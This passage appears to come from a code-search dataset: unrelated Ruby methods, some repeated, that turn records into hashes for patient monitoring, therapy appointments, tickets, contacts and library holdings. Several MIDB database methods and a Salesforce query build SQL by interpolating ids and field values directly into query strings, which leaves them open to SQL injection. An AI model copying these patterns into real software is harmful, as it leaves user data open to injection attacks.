monitoring_plan: patient[:monitoring_plan] || '',\n exposure_notes: patient[:exposure_notes] || '',\n status: '',\n symptom_onset: patient[:symptom_onset]&.strftime('%F') || '',\n case_status: patient[:case_status] || '',\n lab_1_type: '',\n lab_1_specimen_collection: '',\n lab_1_report: '',\n lab_1_result: '',\n lab_2_type: '',\n lab_2_specimen_collection: '',\n lab_2_report: '',\n lab_2_result: '',\n jurisdiction_path: '',\n assigned_user: patient[:assigned_user] || '',\n gender_identity: patient[:gender_identity] || '',\n sexual_orientation: patient[:sexual_orientation] || ''\n }\n end\n comprehensive_details\n end", "def convert_model_to_hash(appointments)\n appointments = appointments.to_a.map(&:serializable_hash)\n appointments.each do |u|\n if !u[\"patient_id\"].blank?\n p = Patient.find(u[\"patient_id\"])\n u[\"patient\"] = p\n u[\"patient_name\"] = p.first_name + \" \" + p.last_name\n u[\"start_time\"] = u[\"start_time\"].strftime(\"%T\")\n u[\"end_time\"] = u[\"end_time\"].strftime(\"%T\")\n # insurance = PatientInsurance.find_by_patient_id(u[\"patient_id\"])\n # u[\"patient_insurance\"] = insurance\n end\n # get therapis is used for patient appointment\n if !u[\"therapist_id\"].blank?\n p = Therapist.find(u[\"therapist_id\"])\n u[\"therapist\"] = p\n u[\"therapist_name\"] = p.first_name + \" \" + p.last_name\n end\n\n ## here check appointment is proccessed or not\n appointment_processed = false\n if Payment.find_by_appointment_id(u[\"id\"]).present?\n appointment_processed = true\n end\n u[\"appointment_processed\"] = appointment_processed\n # get therapist_declared_duration\n session_ids = SessionLog.get_session_id_from_appointment(u[\"id\"])\n if !session_ids.blank?\n session_id = session_ids.first\n u[\"therapist_declared_duration\"] = session_id.therapist_declared_duration\n end\n end\n end", "def add_on_data_for_hash\n {}.tap do |ret|\n # explicit inclusion of the record's id (used in nested updates)\n if self.options[:include_id] && !self.record.new_record?\n ret[:id] = self.record.id\n end\n end\n end", "def hash\n [id, summary, record_type, board, status, project, phase, wbs_code, company, site, site_name, address_line1, address_line2, city, state_identifier, zip, country, contact, contact_phone_number, contact_phone_extension, contact_email_address, type, sub_type, item, team, owner, priority, service_location, source, required_date, budget_hours, opportunity, agreement, severity, impact, external_x_ref, po_number, knowledge_base_category_id, knowledge_base_sub_category_id, allow_all_clients_portal_view, customer_updated_flag, automatic_email_contact_flag, automatic_email_resource_flag, automatic_email_cc_flag, automatic_email_cc, initial_description, initial_internal_analysis, initial_resolution, contact_email_lookup, process_notifications, skip_callback, closed_date, closed_by, closed_flag, date_entered, entered_by, actual_hours, approved, sub_billing_method, sub_billing_amount, sub_date_accepted, date_resolved, date_resplan, date_responded, resolve_minutes, res_plan_minutes, respond_minutes, is_in_sla, knowledge_base_link_id, resources, parent_ticket_id, has_child_ticket, knowledge_base_link_type, bill_time, bill_expenses, bill_products, predecessor_type, predecessor_id, predecessor_closed_flag, lag_days, lag_nonworking_days_flag, estimated_start_date, duration, location_id, business_unit_id, mobile_guid, sla, _info, custom_fields].hash\n end", "def convertCollectionToHash(collection)\n hash = {}\n collection.each do |model|\n hash[model.id] = model\n end\n return hash\n end", "def convertCollectionToHash(collection)\n hash = {}\n collection.each do |model|\n hash[model.id] = model\n end\n return hash\n end", "def get_all_entries()\n jso = Hash.new()\n \n # Connect to database\n dbe = MIDB::API::Dbengine.new(@engine.config, @db)\n dblink = dbe.connect()\n rows = dbe.query(dblink, \"SELECT * FROM #{self.get_structure.values[0].split('/')[0]};\")\n if rows == false\n return MIDB::Interface::Server.json_error(400, \"Bad Request\")\n end\n # Iterate over all rows of this table\n rows.each do |row|\n jso[row[\"id\"]] = self.get_structure\n self.get_structure.each do |name, dbi|\n table = dbi.split(\"/\")[0]\n field = dbi.split(\"/\")[1]\n # Must-match relations (\"table2/field/table2-field->row-field\")\n if dbi.split(\"/\").length > 2\n match = dbi.split(\"/\")[2]\n matching_field = match.split(\"->\")[0]\n row_field = match.split(\"->\")[1]\n query = dbe.query(dblink, \"SELECT #{field} FROM #{table} WHERE #{matching_field}=#{row[row_field]};\")\n else\n query = dbe.query(dblink, \"SELECT #{field} from #{table} WHERE id=#{row['id']};\")\n end\n if query == false\n return MIDB::Interface::Server.json_error(400, \"Bad Request\")\n end\n jso[row[\"id\"]][name] = dbe.length(query) > 0 ? dbe.extract(query,field) : \"unknown\"\n jso[row[\"id\"]][name] = @hooks.format_field(name, jso[row[\"id\"]][name])\n end\n end\n @hooks.after_get_all_entries(dbe.length(rows))\n return jso\n end", "def id_name_map(records)\n records.inject({}) do |map, record|\n map.update(record['id'] => record['name'])\n end\n end", "def id_name_map(records)\n records.inject({}) do |map, record|\n map.update(record['id'] => record['name'])\n end\n end", "def to_hash\n hash = {'id' => self.id.to_s}\n for name, field in self.class.fields\n if not name.end_with?(\"_id\")\n if self.has_attribute?(name)\n value = self[field.name]\n hash.store name, value if not value.nil?\n end\n end\n end\n hash.store 'total_employee', self.total_employee\n hash.store 'total_job', self.total_job\n # hash.store 'child_departments', self.child_departments\n hash\n end", "def to_h\n qr_array.each_with_object({}) do |qr, accumulator|\n ref = reference(qr)\n id = appointment_id(ref)\n next if id.blank?\n\n accumulator[id] ||= []\n accumulator[id] << qr\n end\n end", "def inventory user_id, detailed = false\n data = {}\n my_wallpapers_raw = UserWallpaper.where(:user_id => user_id)\n my_wallpapers = my_wallpapers_raw.to_a\n my_powerups = UserPowerup.where(:user_id => user_id)\n my_wallpapers.each_with_index do |w, i|\n my_wallpapers[i] = w.attributes\n my_wallpapers[i][:powerups] = my_powerups.where(:user_wallpaper_id => my_wallpapers[i][:id]).map {|w| w.attributes}\n end\n\n data[:user_wallpapers] = my_wallpapers\n data[:user_powerups] = my_powerups.to_a\n data[:user_packages] = UserPackage.where(:user_id => user_id).to_a\n\n if detailed\n data[:powerups] = Powerup.where(:id => my_powerups.map {|p| p.id}).map {|p| p.attributes}\n data[:wallpapers] = Wallpaper.where(:id => UserWallpaper.where(:user_id => user_id).map {|w| w.id}).map {|w| w.attributes}\n end\n\n return data\n\n end", "def to_hash\n {\n :bibid => @bibid,\n :holding_id => @holding_id,\n :location_name => @location_name,\n :location_note => @location_note,\n :call_number => @call_number,\n :shelving_title => @shelving_title,\n :summary_holdings => @summary_holdings,\n :supplements => @supplements,\n :indexes => @indexes,\n :public_notes => @public_notes,\n :reproduction_note => @reproduction_note,\n :urls => @urls,\n :donor_info => @donor_info,\n :item_count => @item_count,\n :temp_locations => @temp_locations,\n :item_status => @item_status,\n :services => @services,\n :current_issues => @current_issues,\n :orders => @orders\n }\n end", "def make_hash_for_record(root_record)\n extracted_elements = Hash.new\n root_record.elements.each('control/sourcerecordid') do |control|\n extracted_elements['sourcerecordid'] = control.text\n\n end\n\n\n root_record.elements.each('display') do |displaynode|\n displaynode.each_element_with_text do |displayelement|\n\n key = displayelement.name\n if extracted_elements.has_key? key\n if extracted_elements[key].is_a?(Array)\n value = extracted_elements[key]\n else\n value = [extracted_elements[key]]\n end\n value << displayelement.text\n else\n value = displayelement.text\n end\n extracted_elements[key] = value\n end\n end\n\n root_record.elements.each('links/linktorsrc') do |links|\n key = \"linktorsrc\"\n if extracted_elements.has_key? key\n if extracted_elements[key].is_a?(Array)\n value = extracted_elements[key]\n else\n value = [extracted_elements[key]]\n end\n value << links.text\n else\n value = links.text\n end\n extracted_elements[key] = value\n\n end\n\n return extracted_elements\nend", "def get_entries(id)\n jso = Hash.new()\n\n dbe = MIDB::API::Dbengine.new(@engine.config, @db)\n dblink = dbe.connect()\n rows = dbe.query(dblink, \"SELECT * FROM #{self.get_structure.values[0].split('/')[0]} WHERE id=#{id};\")\n if rows == false\n return MIDB::Interface::Server.json_error(400, \"Bad Request\")\n end\n if dbe.length(rows) > 0\n rows.each do |row|\n jso[row[\"id\"]] = self.get_structure\n self.get_structure.each do |name, dbi|\n table = dbi.split(\"/\")[0]\n field = dbi.split(\"/\")[1]\n # Must-match relations (\"table2/field/table2-field->row-field\")\n if dbi.split(\"/\").length > 2\n match = dbi.split(\"/\")[2]\n matching_field = match.split(\"->\")[0]\n row_field = match.split(\"->\")[1]\n query = dbe.query(dblink, \"SELECT #{field} FROM #{table} WHERE #{matching_field}=#{row[row_field]};\")\n else\n query = dbe.query(dblink, \"SELECT #{field} from #{table} WHERE id=#{row['id']};\")\n end\n if query == false\n return MIDB::Interface::Server.json_error(400, \"Bad Request\")\n end\n jso[row[\"id\"]][name] = dbe.length(query) > 0 ? dbe.extract(query,field) : \"unknown\"\n jso[row[\"id\"]][name] = @hooks.format_field(name, jso[row[\"id\"]][name])\n end\n end\n @engine.http_status = \"200 OK\"\n else\n @engine.http_status = \"404 Not Found\"\n jso = MIDB::Interface::Server.json_error(404, \"Not Found\")\n end\n return jso\n\n end", "def attendance_collection\n attendance_table_rows = select_table(ATTENDANCE_TITLE, 1)\n\n attendance = attendance_table_rows.map do |attendee_row|\n attendance_builder(attendee_row)\n end\n\n {\n council: attendance.map(&:first),\n public_service: attendance.map(&:last).reject(&:empty?)\n }\n end", "def to_hash\n\t\t\tmapper = self.class.map || {}\t\t\t \n\n\t\t\tto_ret = {}\n\t\t\tto_ret[ mapper[:filters] || \"Filters\" ]= { \"StaffFilter\" => @filters} if @filters\n\t\t\tto_ret[ mapper[:staff_ids] || \"StaffIDs\" ]= { \"int\" => @staff_ids} if @staff_ids\n\t\t\tto_ret\n\t\tend", "def export_attributes\n attributes.to_nested_hash\n end", "def export_attributes\n attributes.to_nested_hash\n end", "def export_attributes\n attributes.to_nested_hash\n end", "def hash\n [id, remit_name, location, address_one, address_two, city, state, zip, country, phone, invoice_title, payable_name, topcomment, invoice_footer, quote_footer, overall_invoice_default, standard_invoice_actual, standard_invoice_fixed, progress_invoice, agreement_invoice, credit_memo_invoice, down_payment_invoice, misc_invoice, sales_order_invoice, exclude_do_not_bill_time_flag, exclude_do_not_bill_expense_flag, exclude_do_not_bill_product_flag, prefix_suffix_flag, prefix_suffix_text, charge_adj_to_firm_flag, no_watermark_flag, display_tax_flag, allow_restricted_dept_on_routing_flag, bill_ticket_separately_flag, bill_ticket_complete_flag, bill_ticket_unapproved_flag, bill_project_complete_flag, bill_project_unapproved_flag, progress_time_flag, restrict_project_downpayment_flag, bill_sales_order_complete_flag, bill_product_after_ship_flag, restrict_downpayment_flag, copy_non_service_products_flag, copy_service_products_flag, copy_agreement_products_flag, print_logo_flag, read_receipt_flag, delivery_receipt_flag, disable_routing_email_flag, email_template, localized_country, business_number, currency, custom_label, custom_text, company_code, exclude_avalara_flag, _info].hash\n end", "def data_hash\n primary, included =\n resources_processor.process(Array(@data), @include, @fields)\n {}.tap do |hash|\n hash[:data] = @data.respond_to?(:to_ary) ? primary : primary[0]\n hash[:included] = included if included.any?\n end\n end", "def all_recordings\n opts = {\n headers: true,\n header_converters: :symbol,\n encoding: 'utf-8'\n }\n CSV.read(DIFILE, opts).map(&:to_hash)\n end", "def kv_table(table)\n transform_table!(table).rows_hash\nend", "def structure_records_from_flat_hash h\n rtn = {}\n rtn[:klass] = h.delete :klass\n rtn[:code] = h.delete :code\n rtn[:xlate] = h.extract! :name, :note, :desc\n rtn[:no_xlate] = h\n return rtn\n end", "def hash\n [attachments, created_by_id, created_by_name, created_on, id, modified_by_id, modified_by_name, modified_on, name, owners, status_id, status_name, address_business_city, address_business_country, address_business_is_primary, address_business_line1, address_business_state, address_business_zip_code, address_home_city, address_home_country, address_home_is_primary, address_home_line1, address_home_state, address_home_zip_code, address_other_city, address_other_country, address_other_is_primary, address_other_line1, address_other_state, address_other_zip_code, current_position_company_id, current_position_company_name, current_position_title, current_position_when_end, current_position_when_start, description, education_accreditation_id, education_accreditation_name, education_honors, education_institution_id, education_institution_name, education_when_end, education_when_start, email_address_other, email_address_other_is_primary, email_address_personal, email_address_personal_is_primary, email_address_work, email_address_work_is_primary, ethnicity_id, ethnicity_name, external_primary_key, first_name, gender_id, gender_name, key_date_anniversary, key_date_birthday, key_date_other, last_name, middle_name, nick_name, phone_number_fax, phone_number_fax_extension, phone_number_fax_is_primary, phone_number_home, phone_number_home_extension, phone_number_home_is_primary, phone_number_mobile, phone_number_mobile_extension, phone_number_mobile_is_primary, phone_number_other, phone_number_other_extension, phone_number_other_is_primary, phone_number_skype, phone_number_skype_extension, phone_number_skype_is_primary, phone_number_work_direct, phone_number_work_direct_extension, phone_number_work_direct_is_primary, phone_number_work_main, phone_number_work_main_extension, phone_number_work_main_is_primary, preferred_contact_method_type_id, preferred_contact_method_type_name, record_type, related_contact_assistant_first_name, related_contact_assistant_id, related_contact_assistant_is_primary, related_contact_assistant_last_name, related_contact_client_first_name, related_contact_client_id, related_contact_client_is_primary, related_contact_client_last_name, related_contact_other_first_name, related_contact_other_id, related_contact_other_is_primary, related_contact_other_last_name, related_contact_referred_by_first_name, related_contact_referred_by_id, related_contact_referred_by_is_primary, related_contact_referred_by_last_name, related_contact_spouse_first_name, related_contact_spouse_id, related_contact_spouse_is_primary, related_contact_spouse_last_name, salary, salary_details, salutation_id, salutation_name, social_aim, social_aim_is_primary, social_facebook_chat, social_facebook_chat_is_primary, social_face_time, social_face_time_is_primary, social_google_talk, social_google_talk_is_primary, social_icq, social_icq_is_primary, social_other, social_other_is_primary, social_skype, social_skype_is_primary, social_twitter, social_twitter_is_primary, social_yahoo_msg, social_yahoo_msg_is_primary, source_id, source_name, suffix_id, suffix_name, tags, website_blog, website_blog_is_primary, website_business, website_business_is_primary, website_facebook, website_facebook_is_primary, website_linked_in, website_linked_in_is_primary, website_other, website_other_is_primary, website_personal, website_personal_is_primary].hash\n end", "def ink_records\n return $tables.attach(\"Ink_Orders\").by_studentid_old(student_id)\n end", "def keys; @records.keys; end", "def for_top_level_records(records)\n result = {}\n\n records.each do |record|\n result[record] = repository_published?(record[:repository_id]) && record.publish == 1 && record.suppressed == 0\n end\n\n result\n end", "def attribute_map\n attribute_hash = {}\n embeds = embedded_relations.keys\n fields.reject do |k, _v|\n k =~ /^_id|created_at|updated_at|record_status$/ ||\n embeds.include?(k)\n end.each do |k, _v|\n attribute_hash[k.to_sym] = k.to_sym\n end\n attribute_hash\n end", "def visit(node)\n return {} unless node.class.respond_to?(:column_names)\n if @options[:delete_records] && node != @model\n @ids_to_delete[node.class.table_name] ||= Set.new\n @ids_to_delete[node.class.table_name] << node.id\n end\n IDHash[\n node.class.column_names.select do |cn|\n next unless node.respond_to?(cn)\n # Only export columns that we actually have data for\n !node[cn].nil?\n end.map do |cn|\n [cn.to_sym, node[cn]]\n end\n ]\n end", "def fetch_reference_ids(table, row)\n attributes = {}\n table.reference_columns.each do |c|\n new_id = nil\n if row[c.name.to_s].is_a?(Array)\n new_id = []\n row[c.name.to_s].each do |old_id|\n new_id << no_sql_connection.get_id_using_pre_mongified_id(c.references.to_s, old_id)\n end\n else\n new_id = no_sql_connection.get_id_using_pre_mongified_id(c.references.to_s, row[c.name.to_s])\n end\n attributes.merge!(c.name => new_id) unless new_id.nil?\n end\n attributes\n end", "def query_data(base_query)\n query = base_query\n result = Hash.new\n\n # Filters\n query = apply_filters(query, tablesorter_params)\n\n # Calculate row counts\n rec_counts = record_counts(base_query, query)\n result[:filtered_rows] = rec_counts[:filtered_rows]\n result[:total_rows] = rec_counts[:total_rows]\n\n # Handle paging afterwards\n query = handle_pagination(query, tablesorter_params, result)\n\n # Sorting\n query = apply_sorting(query, tablesorter_params)\n\n result[:records] = query\n\n result\n end", "def record_hash(record, fieldset, params = {})\n if cached\n record_hash = Rails.cache.fetch(record.cache_key, expires_in: cache_length, race_condition_ttl: race_condition_ttl) do\n temp_hash = id_hash(id_from_record(record), record_type, true)\n temp_hash = temp_hash.merge(attributes_hash(record, fieldset, params)) if attributes_to_serialize.present?\n temp_hash[:relationships] = {}\n temp_hash[:relationships] = relationships_hash(record, cachable_relationships_to_serialize, fieldset, params) if cachable_relationships_to_serialize.present?\n temp_hash[:links] = links_hash(record, params) if data_links.present?\n temp_hash\n end\n record_hash[:relationships] = record_hash[:relationships].merge(relationships_hash(record, uncachable_relationships_to_serialize, fieldset, params)) if uncachable_relationships_to_serialize.present?\n record_hash[:meta] = meta_hash(record, params) if meta_to_serialize.present?\n record_hash\n else\n record_hash = id_hash(id_from_record(record), record_type, true)\n record_hash = record_hash.merge(attributes_hash(record, fieldset, params)) if attributes_to_serialize.present?\n record_hash[:relationships] = relationships_hash(record, nil, fieldset, params) if relationships_to_serialize.present?\n record_hash[:links] = links_hash(record, params) if data_links.present?\n record_hash[:meta] = meta_hash(record, params) if meta_to_serialize.present?\n record_hash\n end\n end", "def to_hash\n hash = {\n \"id\" => id,\n \"contactor_id\" => contactor_id,\n \"listing_id\" => listing_id,\n \"date\" => date }\n end", "def collect_record_data(serializer, abilities)\n return unless serialize_record_data?\n record = serializer.object\n return if record.blank?\n keys = collect_only_keys.present? ? collect_only_keys : collect_keys\n collect_record_data_for_keys(serializer, keys, record, abilities)\n end", "def fetch_hash(with_table=nil)\n row = fetch\n return nil unless row\n if with_table and @fieldname_with_table.nil?\n @fieldname_with_table = @fields.map{|f| [f.table, f.name].join(\".\")}\n end\n ret = {}\n @fields.each_index do |i|\n fname = with_table ? @fieldname_with_table[i] : @fields[i].name\n ret[fname] = row[i]\n end\n ret\n end", "def record_fields\n mappings = {}\n if log_record?\n Rails.logger.debug(\"Aeon Fulfillment Plugin\") { \"Mapping Record: #{self.record}\" }\n end\n\n mappings['identifier'] = self.record.identifier || self.record['identifier']\n mappings['publish'] = self.record['publish']\n mappings['level'] = self.record.level || self.record['level']\n mappings['title'] = strip_mixed_content(self.record['title'])\n mappings['uri'] = self.record.uri || self.record['uri']\n\n resolved_resource = self.record['_resolved_resource'] || self.record.resolved_resource\n if resolved_resource\n resource_obj = resolved_resource[self.record['resource']]\n if resource_obj\n collection_id_components = [\n resource_obj[0]['id_0'],\n resource_obj[0]['id_1'],\n resource_obj[0]['id_2'],\n resource_obj[0]['id_3']\n ]\n\n mappings['collection_id'] = collection_id_components\n .reject {|id_comp| id_comp.blank?}\n .join('-')\n\n mappings['collection_title'] = resource_obj[0]['title']\n end\n end\n\n resolved_repository = self.record.resolved_repository\n if resolved_repository\n mappings['repo_code'] = resolved_repository['repo_code']\n mappings['repo_name'] = resolved_repository['name']\n end\n\n if self.record['creators']\n mappings['creators'] = self.record['creators']\n .select { |cr| cr.present? }\n .map { |cr| cr.strip }\n .join(\"; \")\n end\n\n if self.record.dates\n mappings['date_expression'] = self.record.dates\n .select{ |date| date['date_type'] == 'single' or date['date_type'] == 'inclusive'}\n .map{ |date| date['final_expression'] }\n .join(';')\n end\n\n if (self.record.notes['userestrict'])\n mappings['userestrict'] = self.record.notes['userestrict']\n .map { |note| note['subnotes'] }.flatten\n .select { |subnote| subnote['content'].present? and subnote['publish'] == true }\n .map { |subnote| subnote['content'] }.flatten\n .join(\"; \") \n end\n \n mappings\n end", "def get_records zone, name\n result = {}\n get_all_records_for_zone(zone).each do |rec|\n if rec['display_name'] == name && rec['zone_name'] == zone\n result[rec['rec_id']] = rec\n end\n end\n result\n end", "def fetchOpportunityDetails(primaryMember)\n return checkRecordCreated(\"Opportunity\", \"SELECT id,Quantity__c,name,Owner.Id,Owner.Name,Primary_Member__c,Deal_Type__c,RecordType.Name,Interested_in_Number_of_Desks__c FROM Opportunity WHERE Primary_Member__c = '#{primaryMember}'\")\n \n=begin\n opp = Salesforce.getRecords(@salesforceBulk, \"Opportunity\", \"SELECT id,StageName,Quantity__c,name,Owner.Id,Owner.Name,Primary_Member__c,Deal_Type__c,RecordType.Name,Interested_in_Number_of_Desks__c FROM Opportunity WHERE Primary_Member__c = '#{primaryMember}'\")\n if opp.result.records.size > 1 then\n puts \"multiple records found\"\n if opp.result.records[0] != nil then\n puts 'opp present'\n records = Hash.new\n i = 0\n until opp.result.records[i] == nil do\n eachRecord = Hash.new\n puts opp\n puts opp.result.records\n puts opp.result.records[i].fetch('StageName')\n records.store(\"#{opp.result.records[i].fetch('Id')}\", opp.result.records[i])\n i = i + 1\n end\n return records\n end\n else\n return checkRecordCreated(\"Opportunity\", \"SELECT id,Quantity__c,name,Owner.Id,Owner.Name,Primary_Member__c,Deal_Type__c,RecordType.Name,Interested_in_Number_of_Desks__c FROM Opportunity WHERE Primary_Member__c = '#{primaryMember}'\")\n end\n=end\n end", "def preloaders_for_hash(association, records, scope, polymorphic_parent)\n association.flat_map { |parent, child|\n grouped_records(parent, records, polymorphic_parent).flat_map do |reflection, reflection_records|\n loaders = preloaders_for_reflection(reflection, reflection_records, scope, polymorphic_parent)\n recs = loaders.flat_map(&:preloaded_records).uniq\n child_polymorphic_parent = reflection && reflection.respond_to?(:options) && reflection.options[:polymorphic]\n loaders.concat Array.wrap(child).flat_map { |assoc|\n preloaders_on assoc, recs, scope, child_polymorphic_parent\n }\n loaders\n end\n }\n end", "def grouped_objects\n product = {}\n hash.each do |key,value|\n product[value[\"name\"]] ||= []\n product[value[\"name\"]] << [key, value[\"id\"]]\n end\n product\n end", "def to_h\n {\n meeting_date: scan_for_meeting_date,\n attendance: attendance_collection,\n reports: reports_collection,\n notice_of_motions: notice_of_motions_collection,\n motions: motions_collection,\n bylaws_first_reading: bylaws_first_reading_collection,\n bylaws_passed: bylaws_passed_collection,\n recorded_votes: recorded_votes_collection,\n conflict_of_interest_declarations: conflict_of_interest_declarations_collection\n }\n end", "def to_h\n Hash[all_entries]\n end", "def tableConvert(tableName, table)\n dbTableH = Hash.new\n records = Array.new\n i = 0\n \n table.each do\n |row|\n records[i] = row\n i += 1\n end\n dbTableH[tableName] = records\n \n return dbTableH\nend", "def to_table_model_hash\n tables = gain_tables\n models = to_models(tables)\n Hash[*tables.zip(models).flatten]\n end", "def sproutcore_json(record)\n hash = record.as_json(:except => [:id, :created_at, :updated_at])\n \n hash[:guid] = polymorphic_path(record)\n \n associations = record.class.reflect_on_all_associations\n \n associations.each do |association|\n records = case association.macro\n when :has_many, :has_and_belongs_to_many\n record.send(association.name).to_a\n when :has_one, :belongs_to\n record.send(association.name)\n end\n\n unless records.nil?\n if records.is_a?(Enumerable)\n hash[association.name] = records.map { |r| polymorphic_path(r) } \n else\n hash[association.name] = polymorphic_path(records)\n end\n end\n end\n \n hash\n end", "def as_flat_hash(options: {})\n\n # for performance, we avoid using has_many->through associations\n # because they always hit the db and circumvent the preloading\n # done in with_associations scope.\n\n sale = get_sale\n sale_selling_agents = sale ? sale.sale_agents.select{ |sa| sa.role == \"selling_agent\" } : []#(sale.get_selling_agents_names if sale && sale.get_selling_agents.count > 0)\n sale_seller_or_holders = sale ? sale.sale_agents.select{ |sa| sa.role == \"seller_or_holder\" } : [] #(sale.get_sellers_or_holders_names if sale && sale.get_sellers_or_holders.count > 0)\n sale_buyers = sale ? sale.sale_agents.select{ |sa| sa.role == \"buyer\" } : [] #(sale.get_buyers_names if sale && sale.get_buyers.count > 0)\n flat_hash = {\n id: id,\n manuscript: options[:csv].present? ? (entry_manuscripts.map{ |em| em.manuscript.public_id }.join(\"; \")) : (entry_manuscripts.length > 0 ? entry_manuscripts.map{ |em| {id: em.manuscript_id, relation: em.relation_type} } : nil),\n groups: options[:csv].present? ? group_records.map{ |group_record| group_record.group.name }.join(\"; \") : group_records.map{ |group_record| [group_record.group_id, group_record.group.name, group_record.editable] },\n source_date: SDBMSS::Util.format_fuzzy_date(source.date),\n source_title: source.title,\n source_catalog_or_lot_number: catalog_or_lot_number,\n institution: (institution ? institution.to_s : \"\"),\n sale_selling_agent: sale_selling_agents.map(&:display_value).join(\"; \"),\n sale_seller_or_holder: sale_seller_or_holders.map(&:display_value).join(\"; \"),\n sale_buyer: sale_buyers.map(&:display_value).join(\"; \"),\n sale_sold: (sale.sold if sale),\n sale_date: (SDBMSS::Util.format_fuzzy_date(sale.date) if sale),\n sale_price: (sale.get_complete_price_for_display if sale),\n titles: entry_titles.sort{ |a, b| a.order.to_i <=> b.order.to_i }.map(&:display_value).join(\"; \"),\n authors: entry_authors.sort{ |a, b| a.order.to_i <=> b.order.to_i }.map(&:display_value).join(\"; \"),\n dates: entry_dates.sort{ |a, b| a.order.to_i <=> b.order.to_i }.map(&:display_value).join(\"; \"),\n artists: entry_artists.sort{ |a, b| a.order.to_i <=> b.order.to_i }.map(&:display_value).join(\"; \"),\n scribes: entry_scribes.sort{ |a, b| a.order.to_i <=> b.order.to_i }.map(&:display_value).join(\"; \"),\n languages: entry_languages.sort{ |a, b| a.order.to_i <=> b.order.to_i }.map(&:display_value).join(\"; \"),\n materials: entry_materials.sort{ |a, b| a.order.to_i <=> b.order.to_i }.map(&:display_value).join(\"; \"),\n places: entry_places.sort{ |a, b| a.order.to_i <=> b.order.to_i }.map(&:display_value).join(\"; \"),\n uses: entry_uses.sort{ |a, b| a.order.to_i <=> b.order.to_i }.map(&:use).join(\"; \"),\n missing_authority_names: missing_authority_names,\n folios: folios,\n num_columns: num_columns,\n num_lines: num_lines,\n height: height,\n width: width,\n alt_size: alt_size,\n miniatures_fullpage: miniatures_fullpage,\n miniatures_large: miniatures_large,\n miniatures_small: miniatures_small,\n miniatures_unspec_size: miniatures_unspec_size,\n initials_historiated: initials_historiated,\n initials_decorated: initials_decorated,\n manuscript_binding: manuscript_binding,\n manuscript_link: manuscript_link,\n other_info: other_info,\n provenance: provenance.sort{ |a, b| a.order.to_i <=> b.order.to_i }.map(&:display_value).join(\"; \"),\n created_at: created_at ? created_at.to_formatted_s(:date_and_time) : nil,\n created_by: created_by ? created_by.username : \"\",\n updated_at: updated_at ? updated_at.to_formatted_s(:date_and_time) : nil,\n updated_by: updated_by ? updated_by.username : \"\",\n approved: approved,\n deprecated: deprecated,\n unverified_legacy_record: unverified_legacy_record,\n superceded_by_id: superceded_by_id,\n draft: draft\n }\n if options[:csv].present?\n flat_hash[:coordinates] = entry_places.map(&:place).reject(&:blank?).map{ |p| p.latitude.present? ? \"(#{p.latitude},#{p.longitude})\" : nil}.reject(&:blank?).join(\"; \")\n end\n flat_hash\n end", "def as_data_hash\n data_hash = { \"collection\" => collection.as_json }\n if paginated?\n data_hash[\"total_entries\"] = total_entries\n data_hash[\"page\"] = current_page\n data_hash[\"per_page\"] = per_page\n data_hash[\"total_pages\"] = total_pages\n end\n data_hash\n end", "def expanded\n h = Hash.new\n [:id, :email, :api_key, :name, :phone, :password,:states, :approval, :suspend,\n :registration_ip_address, :dates, :some_msg].each do |setting|\n if grouped = self.send(\"#{setting}\").is_a?(Hash)\n self.send(\"#{setting}\").each {|k,v| h[k.to_sym] = v}\n else\n h[setting] = self.send(\"#{setting}\")\n end\n end\n h\n end", "def data\r\n tables_ret = []\r\n tables.list.each do |name, table|\r\n tables_ret << table.data\r\n end\r\n \r\n return {\r\n \"tables\" => tables_ret\r\n }\r\n end", "def get_all_by_query_as_hash(query)\n map_to_hash_by_primary_key(get_all_by_query(query))\n end", "def fields_hash\n each_pair.to_h\n end", "def hash\n [is_blueprint_copy, is_included, item_id, material_efficiency, quantity, record_id, runs, time_efficiency, type_id].hash\n end", "def to_hash\n {\n :id => @id,\n :name => @name,\n :indent => @indent,\n :color => @color,\n :item_order => @item_order\n }\n end", "def resolve_collections\n @resolved_collections = resolved_associations_map.inject({}) do |hash, (k,v)|\n collection_records = []\n collection_associations = Array.wrap(v[:associations])\n collection_associations.each do |association|\n add_records_from_collection_association(relation, association, collection_records)\n end\n collection_records.flatten!\n collection_records.compact!\n collection_records.uniq!\n hash[k] = collection_records\n hash\n end\n end", "def find_records(*items, id_key: nil, alt_id_key: nil, **opt)\n id_key ||= id_column\n unless opt[:all]\n opt_items = id_key && opt.delete(id_key)\n opt_items = alt_id_key && opt.delete(alt_id_key) || opt_items\n if opt_items\n items += Array.wrap(opt_items)\n elsif items.empty?\n opt[:all] = true\n end\n end\n collect_records(*items, **opt).first || []\n end", "def to_h(item: nil, **)\n fields.tap do |result|\n if item.present?\n result[:titles]&.map! do |title|\n title[:records].map! { |rec| { record: rec } }\n end\n end\n end\n end", "def _all\n out = {}\n ids.each {|i| @store.transaction(true) {out[i] = @store[i]}}\n out\n end", "def build_all_attrs(table)\n hash = {}\n table.each do |line|\n id, attrs = nil, {}\n line.sub(\" />\\n\", '').split(' PFWeb:').drop(1).each.with_index do |e, i|\n match = e.match(/(?<name>\\S*)=\"?(?<val>.*)\"/)\n id = match[:val].to_sym if i == 0\n attrs[match[:name].to_sym] = match[:val]\n end\n hash[id] = attrs\n end\n hash\n end", "def hash\n [id, name, based_on, custom_calendar, default_flag, application_order, hi_impact_hi_urgency, hi_impact_med_urgency, hi_impact_low_urgency, med_impact_hi_urgency, med_impact_med_urgency, med_impact_low_urgency, low_impact_hi_urgency, low_impact_med_urgency, low_impact_low_urgency, respond_hours, respond_percent, plan_within, plan_within_percent, resolution_hours, resolution_percent, _info].hash\n end", "def to_hash\n hash = {\n \"id\" => id,\n \"title\" => title,\n \"code\" => code,\n \"section\" => section,\n \"department_id\" => department_id,\n \"instructor\" => instructor,\n \"term\" => term }\n end", "def hash\n [id, opportunity_status_rec_i_ds, add_all_opportunity_statuses, remove_all_opportunity_statuses, opportunity_type_rec_i_ds, add_all_opportunity_types, remove_all_opportunity_types, restrict_view_by_opportunity_status_flag, restrict_view_by_opportunity_type_flag, acceptance_change_status_flag, acceptance_create_activity_flag, acceptance_opportunity_status, acceptance_send_email_flag, acceptance_email_from_first_name, acceptance_email_from_last_name, acceptance_email_subject, acceptance_email_body, acceptance_from_email, acceptance_email_activity_type, acceptance_email_assigned_by_member, rejection_change_status_flag, rejection_create_activity_flag, rejection_opportunity_status, rejection_send_email_flag, rejection_email_from_first_name, rejection_email_from_last_name, rejection_from_email, rejection_email_subject, rejection_email_body, rejection_email_activity_type, rejection_email_assigned_by_member, confirmation_send_email_flag, confirmation_email_use_default_company_email_address_flag, confirmation_email_from_first_name, confirmation_email_from_last_name, 